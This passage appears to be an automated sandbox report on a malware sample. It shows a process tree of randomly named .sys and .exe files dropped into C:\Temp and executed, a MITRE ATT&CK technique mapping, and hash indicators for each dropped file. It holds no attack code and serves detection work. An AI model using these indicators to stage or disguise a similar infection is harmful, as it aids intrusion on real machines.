      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,8793052204466874960,11298182871031601506,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:1060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,4825969697503863812,4313723362710044817,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5548,i,14880936808827532752,8015875965448782751,262144 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:10
      4⤵
      PID:1672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5696,i,3723449631909005936,8968056569080646857,524288 --field-trial-handle=2468,i,7495846826669269295,11826337140188582640,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
      4⤵
      PID:2808

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1280

C:\Temp\ecwuomgebwuomgeb.sys
C:\Temp\ecwuomgebwuomgeb.sys
1⤵
- Executes dropped EXE
PID:1364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3780

C:\Temp\ywqojgbywq.sys
C:\Temp\ywqojgbywq.sys
1⤵
- Executes dropped EXE
PID:2664

C:\Temp\dbvtnljgby.sys
C:\Temp\dbvtnljgby.sys
1⤵
- Executes dropped EXE
PID:1960

C:\Temp\vtnlidavtn.sys
C:\Temp\vtnlidavtn.sys
1⤵
- Executes dropped EXE
PID:2056

C:\Temp\pnlfdxvpni.sys
C:\Temp\pnlfdxvpni.sys
1⤵
- Executes dropped EXE
PID:2616

C:\Temp\causqkicau.sys
C:\Temp\causqkicau.sys
1⤵
- Executes dropped EXE
PID:3196

C:\Temp\zxspkhcaus.sys
C:\Temp\zxspkhcaus.sys
1⤵
- Executes dropped EXE
PID:5324

C:\Temp\rmkhczxuom.sys
C:\Temp\rmkhczxuom.sys
1⤵
- Executes dropped EXE
PID:3020

C:\Temp\zxrpjhbztr.sys
C:\Temp\zxrpjhbztr.sys
1⤵
- Executes dropped EXE
PID:5592

C:\Temp\rljhbztrlj.sys
C:\Temp\rljhbztrlj.sys
1⤵
- Executes dropped EXE
PID:6032

C:\Temp\qolgaywqoi.sys
C:\Temp\qolgaywqoi.sys
1⤵
- Executes dropped EXE
PID:4348

C:\Temp\ywqoigbqli.sys
C:\Temp\ywqoigbqli.sys
1⤵
PID:2948

C:\Temp\qnifayvtnl.sys
C:\Temp\qnifayvtnl.sys
1⤵
PID:2300

C:\Temp\qkicaysqki.sys
C:\Temp\qkicaysqki.sys
1⤵
PID:3732

C:\Temp\pnhfzxspkh.sys
C:\Temp\pnhfzxspkh.sys
1⤵
PID:1936

C:\Temp\upmhfzxrpj.sys
C:\Temp\upmhfzxrpj.sys
1⤵
PID:4136

C:\Temp\mhezwurpjh.sys
C:\Temp\mhezwurpjh.sys
1⤵
PID:4268

C:\Temp\omgebwtrpj.sys
C:\Temp\omgebwtrpj.sys
1⤵
PID:616

C:\Temp\ytrljdbztr.sys
C:\Temp\ytrljdbztr.sys
1⤵
PID:4880

C:\Temp\bywqolgdbv.sys
C:\Temp\bywqolgdbv.sys
1⤵
PID:1072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtnlgdyvq.exe

Path C:\Temp\bvtnlgdyvq.exe
Size 376KB
SHA256 84baf968f9359bc2340e42fc9a04328f90a185c7e2846ab8de5f10e735184cd7
MD5 7a4d25475c6eab0efed741cb78551ef0
SHA1 2981ce9d39b4f5037ce508a252a856f64c8845d2
SHA512 72c1f2302a221fced9ac50216070ee9b00168cc3c47cad48587c64d8caefab38138d3da79f9a1ca4c014ec0f8d94c27a3fbd7e74cad71f8932ff7059b45943d1
SSDEEP 3072:JFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:JFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C7847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

causqkicau.sys

Path C:\Temp\causqkicau.sys
Size 293KB
SHA256 a3cea198e5135952d7ee572f4c02e03bb8a9925590d45a5c13cee4484bd33ac0
MD5 0c7691da353aa2d53305696aa665809c
SHA1 80c3eaa1df48e029ce95b66e8289e616cc4490ae
SHA512 3601e71f76058bea5202226d4b5823f6236e7fdaad37b66503c02c1da20d4ee7cc09a867577e7d212a4c8ec815e58613d3f973b1be87b5eef10427df1627da35
SSDEEP 3072:jtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:jIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A9545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbvtnljgby.sys

Path C:\Temp\dbvtnljgby.sys
Size 293KB
SHA256 d7ca0973f68483437a925d096a0961ff6d76e885170c166facb29604124d3f3a
MD5 4e7594f4f99f432b6a7bf951fd5d43f1
SHA1 d813732ac5285f7bead8edc6a4efd2eb6a6f68c1
SHA512 147d733a818ca6209c1d79f9d959daab682fd1412f95a9642391c46ac7ada633012d5af517430481c2adaaf8c304f9314fbf94eda60463c33f74d5e97a4f575e
SSDEEP 3072:8tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:8IJjiJcbI03GBc3ucY5DCSj
TLSH
T129545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwuomgebwuomgeb.exe

Path C:\Temp\ecwuomgebwuomgeb.exe
Size 376KB
SHA256 1b83da7886af358a4585c9b3f1f35734801de6f73588d7c09422470b2d4450ae
MD5 760e251fabe022cbdf7c753e339b791e
SHA1 0c28419ba2cf9aedf1d02b3bbf7fc35e86c5ca19
SHA512 21f9a8ff0eaf907ddd09a3da6f1e51f7737f1a38302c8448784d50ff3784cc0de81cc2f9241f9bbe53d12911157d9dc92f1373054e27da055e6e0fb597ecf9bf
SSDEEP 3072:PFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:PFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T194847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwuomgebwuomgeb.sys

Path C:\Temp\ecwuomgebwuomgeb.sys
Size 293KB
SHA256 9b899b87dd539986ec70b401dd5584997d38252e6498e8fa73ef5be2a1e565ce
MD5 86a23627587a440f0553da37c236bfe2
SHA1 9b07ddf132fc13aa37f537b771e20f1d3813b528
SHA512 19cb212078e91a046633dabead6cfed65c6b3262517c3c3cfff6bd3ab986150ea09f217ba26bb72b02d6f8944e3e3488556bb16028883db562ef5cbc411b1cfc
SSDEEP 3072:ntKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:nIJjiJcbI03GBc3ucY5DCSj
TLSH
T1E8545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fayspkicau.exe

Path C:\Temp\fayspkicau.exe
Size 376KB
SHA256 fa889cafffa9b0a512f04addf42b7ab4b8bebac5b9505dcdbcbbf6088d407d88
MD5 4d5eaef50d6700c108b3c185021bd3e6
SHA1 c3a94becdab965ef9f1b2ea69c64d9395bdf3ff7
SHA512 9e7780dab8313141e29a66facded98917b3fce67b55f99dbb77199f41e80ce85974496be9d84eb7486bd09f6ef27ce0da8b5fb68d11abdda01caa5de55c9845c
SSDEEP 3072:mFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:mFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T142847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bvtnlgdyvq.exe

Path C:\Temp\i_bvtnlgdyvq.exe
Size 376KB
SHA256 78836b44cf2c53b6b3afedea7a2115dd1e9517395ce9ee1cf3f09757be62e3ab
MD5 739bc1c1f5a011acd87f6d93c133e7ad
SHA1 59cb38cbebd55354096c946224a2a0892146d605
SHA512 92952fff3d583bd69ddfcf5d13f521c41253a583943af6e75372fde3bc8c584eab013654eafdcacef52bca6a457a04947ea530b70b8f78043e73301d453e965b
SSDEEP 3072:KFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:KFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D9847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fayspkicau.exe

Path C:\Temp\i_fayspkicau.exe
Size 376KB
SHA256 f2525925c7ffe626af3a557b8b83203d382f5df8b62ff8c1f3e721663ae1a14b
MD5 888610edf436a5d6f1f5e179abbcc2c8
SHA1 abd75024e7e5de0c0f5084649f0f28afdbf04dc3
SHA512 c570583114d25ddbe32d9502916296415ae90f94d564f060c37dc9e62ae8f2e5d7ad04cc685a5585308142fd652b9fa996fdc2c7d0ba52488b3cb3c00dee4d8c
SSDEEP 3072:xFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:xFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15F847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jhbzwrlgyw.exe

Path C:\Temp\i_jhbzwrlgyw.exe
Size 376KB
SHA256 a4d2ebde79744f04f0b02c5f71493ff91771ccf12994f20fc5e92f921904b167
MD5 42f1285f013cc01b3769eefc80412189
SHA1 5cfa3c4b99a424609f3f8f7fe82056218bb89d2d
SHA512 0194c9d0e5615faba977faf43f7f411c5759db855888e1766626a6c0324d682f161923dc8ef0709fd20b41fd5c4971f74a347ce3bb3d322f4984e7ade177af47
SSDEEP 3072:jFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:jFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T156847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nifaysqkic.exe

Path C:\Temp\i_nifaysqkic.exe
Size 376KB
SHA256 819fef87da2a54127a1736d2afe9211dcac747c06f4fa5479ec68da4cda75ca3
MD5 a6581f37c62708b6de2e9ce6dc8857dc
SHA1 a97802f1afdd5e094e158ae82ab71b7597335fa6
SHA512 c301174f0a4f66e18e38b6c7e3b07cf61fe66a92e3230485ee93efa88a42cee4236fb6a85a0ee188fbe3a9d594e179c1ae940ec5825849509c9241740c43943c
SSDEEP 3072:EFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:EFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T167847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vtoljdbvto.exe

Path C:\Temp\i_vtoljdbvto.exe
Size 376KB
SHA256 585c53173fbccee4b334367a147f6e0699c4d649d9fdff0ee41c75586a83fae7
MD5 4367c93b2de124d089c2bb59741c8dbc
SHA1 8b3c385cc627155325c153b8040b45d9a1fde6bf
SHA512 63adf6475a36d8492050e8498caaf85a4dc71b28a68f41e2b2a10f554adb6808bfe55dec96a23767b8eb929f688f04315ae146d8c512562e20c591d9b3163153
SSDEEP 3072:fFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:fFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DB847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zxvpnhfzxs.exe

Path C:\Temp\i_zxvpnhfzxs.exe
Size 376KB
SHA256 cbb6be9799ff4f206196a23db01a5126cfb37afedf10c6b6e8131e7c7c31a80d
MD5 214815201630cf998ca59dd7f6642ff6
SHA1 dd97ed88ce285cccc3c2e8f9265eadba5942a219
SHA512 641fbb10f9337748a92d3dc3f081e20d4c11af8ea489a36acc5a98932236784ccb8758cb603cc4e95c0320ce2951907e5c77853aaddef48acbeac949bf03f4f5
SSDEEP 3072:1FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:1FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1CB847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbzwrlgyw.exe

Path C:\Temp\jhbzwrlgyw.exe
Size 376KB
SHA256 96ee56384575dc2cd3ad1fa78a810f4de66ada5c69efb84143e8878951a6eaed
MD5 1702332e000fd6da77d631a248779d4e
SHA1 9a3ed5e0572dfe6e058f1e484d0bd392a2469750
SHA512 686dff2e9190e5d2d37b3c124d4ab3b26bb14c2475476779941c6a05f6093caa5b16f59c8e7c13fbebbaca88775d848242f131397f865b8dafb43b132a09a49c
SSDEEP 3072:BFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:BFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T175847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nifaysqkic.exe

Path C:\Temp\nifaysqkic.exe
Size 376KB
SHA256 813d03d10c6564bf5033433d3b1d51506499ed2ce50004597c87a00d575d5fa4
MD5 4f75c7c01bd867e91c5a0439770ae159
SHA1 de528505eb16e624e0f77d2ae51889555446c2a2
SHA512 c6c5c7605d1e0e9c4c63ae2b75c1b7ecb7956acb309e7823c106da81ddbb016e3bb1e0d4b3e7f807dd04e888306d877450b9c435dd5745df22471828ce9f1fee
SSDEEP 3072:EFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:EFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T17B847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnlfdxvpni.sys

Path C:\Temp\pnlfdxvpni.sys
Size 293KB
SHA256 d7721b6df42284a91fb38a7119ada011f990e1f5ce6e95bfd67db500fd0c626a
MD5 bae628196ff420bc87af1a525994bfa0
SHA1 9e80c97d3f803dc746a1e1a4df7d431f5b1cee52
SHA512 82182c51099f8ec65040ac5cbd3f0a92dcbd098fd07192357f2510a3d96e73e95fc61b8cd9135d23c112900065b3cb2c456dd439b92bad01013a9309d4df8c8c
SSDEEP 3072:DtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:DIJjiJcbI03GBc3ucY5DCSj
TLSH
T159545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtnlidavtn.sys

Path C:\Temp\vtnlidavtn.sys
Size 293KB
SHA256 99a526e6ea8b73ef5182c0f6bc3ce3143cafbdad9387b23274b9d71092476957
MD5 f0ef7498bacc659837dbfa5ff4b361b2
SHA1 4609a79462e972d471ef397fbd82fd082524fa86
SHA512 4828c5d30ac67605517dddcff913cbc6ed2a48b66612bcd588b9826969f0934788015ef62ae8ed9d0121efcec772254f7f8ce83ee801f6c6a958530376978678
SSDEEP 3072:otKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:oIJjiJcbI03GBc3ucY5DCSj
TLSH
T112545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtoljdbvto.exe

Path C:\Temp\vtoljdbvto.exe
Size 376KB
SHA256 8341a888dba3174d6302b9255464b74de67e40c2df98628168b1c5334c1cff5e
MD5 14bc42acfd352c9177b6b1cc2d96ed67
SHA1 65851be754f135fe674d1b8f3aa7fc5a93d913e9
SHA512 1e4df79e1cb4c5608121718a8629e60c00e647ae6f1f970e55e77426474570bbc5b69be8eb0b6e62b38f7e2718264795cb191fd8accb77b5884b9a815412bfc8
SSDEEP 3072:KFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:KFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E8847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqojgbywq.sys

Path C:\Temp\ywqojgbywq.sys
Size 293KB
SHA256 70fc2abb33327445a70fc2c47622ca622aeb7ef8d39de67b620086f1c5d943e6
MD5 1bec2d2071f40d99cd7c039e7b233306
SHA1 2865efbd7c899a14973dc2dd2eaf5844fdc5bab6
SHA512 4ce74407f704cfda33776c720c43f0f3d28411a01aafec522cd90bfb43e11d7bca11f50dd036b9007fcab624fc96068dbc935f60965ee6d5b448150d93e7b722
SSDEEP 3072:/tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:/IJjiJcbI03GBc3ucY5DCSj
TLSH
T1E7545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxvpnhfzxs.exe

Path C:\Temp\zxvpnhfzxs.exe
Size 376KB
SHA256 d63eb99e26cd5eab0a5c1cdb3f596d3ae58e6acb9ed13d7d460d84b0b8bf97f0
MD5 41463c7c225a0f494e8de44e8144b70a
SHA1 ac338615c4fba19ef372a90633b3954aa50e80ee
SHA512 445ce17d7d9b3cbe4e73261b76d4fe0c30bf09f1cc6cd933dfe0ea280fac50e49736c1822a58bd5d68f130b106830844539594dbdd077b32589e47e8e47589a0
SSDEEP 3072:BFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:BFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1FC847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 22c1d58ffa7df77a7e0440ce3b2c474b1e03f30b60355bbf5dd6392fefb641fd
MD5 b9f45a900b1f64efbf90731f41c6ad44
SHA1 0c28e85e464e328fbbc07373b05113d39f83bdcc
SHA512 132313545c55ea809da0e811d6d5d324ecf5b6cfaefadb3fa4a29df5e6266dfeca7cffa4daf21754b4b37771504d3692189b5660a468784b5eaf80bf92f59ae0
TLSH
T11ED02BA033044C0CCE40203215B9A210720484204849031A8E41F02C8C6FD4387161F7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee3af991fa1719733ca1e3ac746d5b605f4205e269bf244bd9ae780ceadb9bd8
MD5 a044f6413820c4c3fbd300ee9b379ebc
SHA1 94fc91536a25274f06d3a6e89322dec7fde7912e
SHA512 ced4374c54d7b4ea2b76afe4ca5d8841dfb55d8cb5db96de4ed49e64bd3850a817db5301787c268756641c94c0bf85eb4ee188f04fc891fa2e45ad48284985a5
TLSH
T13AD02BA433044D0CCE40203215B8A210720484209C49031A8D41B01C8C6FD4387171FB
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 b7ad1a84eab8f98b16a1882113982ddbe92d3ef7f74bff082854722495aec16d
MD5 cf5e388729766eb9f78e844ac1705b31
SHA1 3cac8fc717c24dc3fddc28cbfe1dc680e80efe3e
SHA512 4cb58d20060da0e9f66f72ad7d414cea42521f19bcf67479eb2972874bd43af7639b96b2173ecc03da92a8748f03b76cfb62ad3c3398672980bb2a6f15e5b813
TLSH
T19C514EA92B291AC2F7E246B355E1E1453FF888BB2803AE3031936EF4494FF0820F1153
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe599e1b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe599e1b.TMP
Size 2KB
SHA256 dce5426bb92050d7147b9d0277af6c76bf14679623c5edecca3b59252776784c
MD5 df529c6eb5f8bfd79060646bd224a630
SHA1 25a58f95a9f7671c73c4afb30ca79ebc979f8956
SHA512 da0aaf9ae3cd46a8ca8f27dfd8758c2075b9ad3c6386b8f36091606b12396eed6df4d26ef7228f2dc65737ab58169cdf20de50d98d6cf6a19a08f39922e6778a
TLSH
T1EB5120691B291AD2F7E2467355E1E5453FF888BB28039E3031976EF4495FF0810F1157
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

fb5f760e-0d3f-41fa-9d47-e0e7275ecd40.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\fb5f760e-0d3f-41fa-9d47-e0e7275ecd40.tmp
Size 1KB
SHA256 903aa5f0ab0df24ec2273f61161b201c2d6252419deb50c438491c2016011bab
MD5 e9830596c94db3d7f04c24f868fcfac6
SHA1 e525a81eebb3b8e2b79909de94fafffcd81e82cf
SHA512 c1ccd3b8f00311572525dc00686788922902013283eec0fd8b40a42de753ea13d310413c1461ef969e7bb57778c90e9c449d85d9898735ff3c54d444c4c7932c
TLSH
T16731BEF383F4852E8A1196F0AB186E1FCE2C0511432C7D9AC9E0AE2B93E3471E14099F
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 42ee4a9967f9e3f040d4efed8b0afad780e33de76370a63f993f034a7caecb61
MD5 efa8411fe6e21f654042f4ae7c1b0600
SHA1 2de87dd3fa5838b55aedfe3b09353e199054ae7c
SHA512 5be7fcd6bd0bca7a36a1631539b9e6c78a7ad9937e8eddd76e6ad986aa669bbe5ffec121d47b377d89465855626ba60da9f33167377fb4d664ae519f884af9c4
SSDEEP 192:sxRlRFCj/f4s6QrCoZyPp+9y6zoD8p9b/g6+WNCaR/YG407kkNGiIgDdECJ:sxRlCj/f4sF2WgpKyml/5p/XNKe
TLSH
T15342EA157968693B9CCBE60DBB157F53E7F95076A0D11E48ABFC8A0C04EB6DD220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 b95c147cc9bcf95903692dfa17194a799b3a2e2ecd59a7c5dde44ec73f3da544
MD5 23aaff5aa8e25f03645845ec3548456b
SHA1 5f9c21a85517b134521a2fee545e619de810367c
SHA512 7816e5c5d9e0bdbeb59508b60983e279d3203346a10ffe0eca90a67de856e6ff914a798da8be193edf4147009f65be4fea8fbcd1a4292904949dfa30e711062d
SSDEEP 192:sxR+RFCj/f4sxQ9pq1zM6zoD8p9b/g6+WNCaR/YGjb7gkNGiIgVECJ:sxR+Cj/f4sy94Yml/5p/TNWe
TLSH
T17B42DA156928A93B9CC7E20DBA557F53D7F95032A0D16E58ABFC8A0C04EB6DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 c7fe4b1f759471de395318484a5e468e30beeb0f7f4a425f5f86478fa3a5c063
MD5 0c7ef7b0017a5f1d47e215c7dceb6d5a
SHA1 286e5536e04d09b322e9ff16a8e14ebbf1999dc5
SHA512 caaf132a179fc25f3b5dc7d094c1be272e76f4974b9b6f3e703a0262990f02e8a5abe3f0734cd205f5af1cdd23b8c23b3b74006f22a98d6f5dc54d9e8cca7c82
SSDEEP 192:sxRlRFCj/f4s6Q9pq1zM6zoD8p9b/g6+WNCaR/YGjb7gkNGiIgDPECJ:sxRlCj/f4sF94Yml/5p/TNIe
TLSH
T12342DA156928993B9CC7E20DBB557F53D7F95072A0D16E48ABFC860C04EB6DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

